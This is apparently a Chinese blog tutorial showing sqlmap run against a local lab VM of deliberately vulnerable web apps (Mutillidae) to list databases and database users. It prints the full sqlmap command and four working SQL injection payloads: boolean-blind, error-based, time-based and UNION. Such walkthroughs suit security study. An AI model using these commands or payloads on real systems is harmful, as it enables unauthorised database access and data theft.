SQLmap 自动注入 -02

1: 如果想获得SQL 数据库的信息,可以加入参数: -dbs

sqlmap -u "http://192.168.56.133/mutillidae/index.php?page=user-info.php&username=xiaosheng&password=abc&user-info-php-submit-button=View+Account+Details" --batch -p username -dbs

! legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

\* starting @ 06:07:47 /2025-01-21/

06:07:47 INFO resuming back-end DBMS 'mysql'

06:07:47 INFO testing connection to the target URL

you have not declared cookie(s), while server wants to set its own ('PHPSESSID=vpgtsrbl91e...40rho4rej4;showhints=1'). Do you want to use those Y/n Y

sqlmap resumed the following injection point(s) from stored session:


Parameter: username (GET)

Type: boolean-based blind

Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)

Payload: page=user-info.php&username=-4134' OR 5736=5736#&password=abc&user-info-php-submit-button=View Account Details

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

Payload: page=user-info.php&username=xiaosheng' AND (SELECT 6106 FROM(SELECT COUNT(*),CONCAT(0x717a627a71,(SELECT (ELT(6106=6106,1))),0x716b7a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- uiLS&password=abc&user-info-php-submit-button=View Account Details

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: page=user-info.php&username=xiaosheng' AND (SELECT 4704 FROM (SELECT(SLEEP(5)))pmhr)-- ITco&password=abc&user-info-php-submit-button=View Account Details

Type: UNION query

Title: MySQL UNION query (NULL) - 7 columns

Payload: page=user-info.php&username=xiaosheng' UNION ALL SELECT NULL,CONCAT(0x717a627a71,0x4e564f5771416964435a7375556e7944795359717172507a7953457451746c5a5a61436565456677,0x716b7a7871),NULL,NULL,NULL,NULL,NULL#&password=abc&user-info-php-submit-button=View Account Details


06:07:48 INFO the back-end DBMS is MySQL

web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)

web application technology: PHP, PHP 5.3.2, Apache 2.2.14

back-end DBMS: MySQL >= 5.0

06:07:48 INFO fetching database names

06:07:50 WARNING reflective value(s) found and filtering out

available databases 34:

\* .svn

\* bricks

\* bwapp

\* citizens

\* cryptomg

\* dvwa

\* gallery2

\* getboo

\* ghost

\* gtd-php

\* hex

\* information_schema

\* isp

\* joomla

\* mutillidae

\* mysql

\* nowasp

\* orangehrm

\* personalblog

\* peruggia

\* phpbb

\* phpmyadmin

\* proxy

\* rentnet

\* sqlol

\* tikiwiki

\* vicnum

\* wackopicko

\* wavsepdb

\* webcal

\* webgoat_coins

\* wordpress

\* wraithlogin

\* yazd

06:07:52 INFO fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.56.133'

06:07:52 WARNING your sqlmap version is outdated

\* ending @ 06:07:52 /2025-01-21/

下面列一下参数的作用:

下面看一下执行结果:

! legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

\* starting @ 06:11:28 /2025-01-21/

06:11:29 INFO resuming back-end DBMS 'mysql'

06:11:29 INFO testing connection to the target URL

you have not declared cookie(s), while server wants to set its own ('PHPSESSID=jfganof3ik5...ukdpgiq063;showhints=1'). Do you want to use those Y/n Y

sqlmap resumed the following injection point(s) from stored session:


Parameter: username (GET)

Type: boolean-based blind

Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)

Payload: page=user-info.php&username=-4134' OR 5736=5736#&password=abc&user-info-php-submit-button=View Account Details

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

Payload: page=user-info.php&username=xiaosheng' AND (SELECT 6106 FROM(SELECT COUNT(*),CONCAT(0x717a627a71,(SELECT (ELT(6106=6106,1))),0x716b7a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- uiLS&password=abc&user-info-php-submit-button=View Account Details

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: page=user-info.php&username=xiaosheng' AND (SELECT 4704 FROM (SELECT(SLEEP(5)))pmhr)-- ITco&password=abc&user-info-php-submit-button=View Account Details

Type: UNION query

Title: MySQL UNION query (NULL) - 7 columns

Payload: page=user-info.php&username=xiaosheng' UNION ALL SELECT NULL,CONCAT(0x717a627a71,0x4e564f5771416964435a7375556e7944795359717172507a7953457451746c5a5a61436565456677,0x716b7a7871),NULL,NULL,NULL,NULL,NULL#&password=abc&user-info-php-submit-button=View Account Details


06:11:30 INFO the back-end DBMS is MySQL

web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)

web application technology: Apache 2.2.14, PHP 5.3.2, PHP

back-end DBMS: MySQL >= 5.0

06:11:30 INFO fetching database users

06:11:32 WARNING reflective value(s) found and filtering out

database management system users 38:

\* 'bricks'@'%'

\* 'bwapp'@'%'

\* 'citizens'@'localhost'

\* 'cryptomg'@'%'

\* 'debian-sys-maint'@'localhost'

\* 'dvwa'@'%'

\* 'gallery2'@'localhost'

\* 'getboo'@'%'

\* 'ghost'@'%'

\* 'gtd-php'@'%'

\* 'hex'@'localhost'

\* 'joomla'@'localhost'

\* 'jotto'@'%'

\* 'kbloom'@'localhost'

\* 'mutillidae'@'%'

\* 'orangehrm'@'%'

\* 'personalblog'@'%'

\* 'peruggia'@'%'

\* 'phpbb'@'%'

\* 'phpmyadmin'@'localhost'

\* 'root'@'127.0.0.1'

\* 'root'@'brokenwebapps'

\* 'root'@'localhost'

\* 'sendmail'@'localhost'

\* 'sqlol'@'%'

\* 'stealth'@'localhost'

\* 'tikiwiki'@'localhost'

\* 'undertaker'@'localhost'

\* 'vicnum'@'localhost'

\* 'wackopicko'@'%'

\* 'wavsep'@'localhost'

\* 'webcal'@'localhost'

\* 'webgoat.net'@'%'

\* 'webmaster'@'localhost'

\* 'wordpress'@'%'

\* 'wraith'@'localhost'

\* 'yazd'@'%'

\* 'yazd10'@'%'

06:11:34 INFO fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.56.133'

06:11:34 WARNING your sqlmap version is outdated

\* ending @ 06:11:34 /2025-01-21/

可以看出上面是所有用户的结果,如果看当前用户,那么如下结果:

06:19:04 INFO the back-end DBMS is MySQL

web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)

web application technology: PHP, PHP 5.3.2, Apache 2.2.14

back-end DBMS: MySQL >= 5.0

06:19:04 INFO fetching current user

06:19:06 WARNING reflective value(s) found and filtering out

current user: 'mutillidae@%'

06:19:06 INFO fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.56.133'

06:19:06 WARNING your sqlmap version is outdated

\* ending @ 06:19:06 /2025-01-21/

参考文献: 16.SQL注入攻击_哔哩哔哩_bilibili

相关推荐
独泪了无痕2 小时前
SQL函数实战:GREATEST与LEAST的技巧
数据库·sql·mysql
麻辣布丁2 小时前
MySQL篇面试题模拟
mysql
这个DBA有点耶3 小时前
MySQL 8.0.20移除了Block Nested Loop,之前学的JOIN优化知识还适用吗?
数据库·mysql·架构
COOLMO研究AI5 小时前
Next.js App Router 中 sitemap、robots 与 canonical 的配置与排查
前端·web·js·网站优化
ji_shuke5 小时前
Apple Pay Web 跨浏览器二维码支付接入与踩坑实战:从 Safari 到 Windows Chrome
web·apple pay
开心麻瓜6 小时前
一条 SQL 跑了 8 秒,优化到 200ms 的全过程
mysql
FYKJ_20107 小时前
【毕设分享】基于Web的校园兼职信息发布与申请系统07059
前端·vue.js·spring boot·mysql·typescript·spark·课程设计
文人sec8 小时前
MYSQL:insert...select:为什么锁源表的所有行和间隙?怎么最快地复制一张表?
数据库·python·mysql
RestCloud11 小时前
大数据量ETL同步优化:亿级表同步与性能调优
mysql·数据迁移·数据传输·数据同步·亿级数据传输·大数据量传输
feng_you_ying_li11 小时前
mysql基本介绍,截止到类型float的一部分介绍
mysql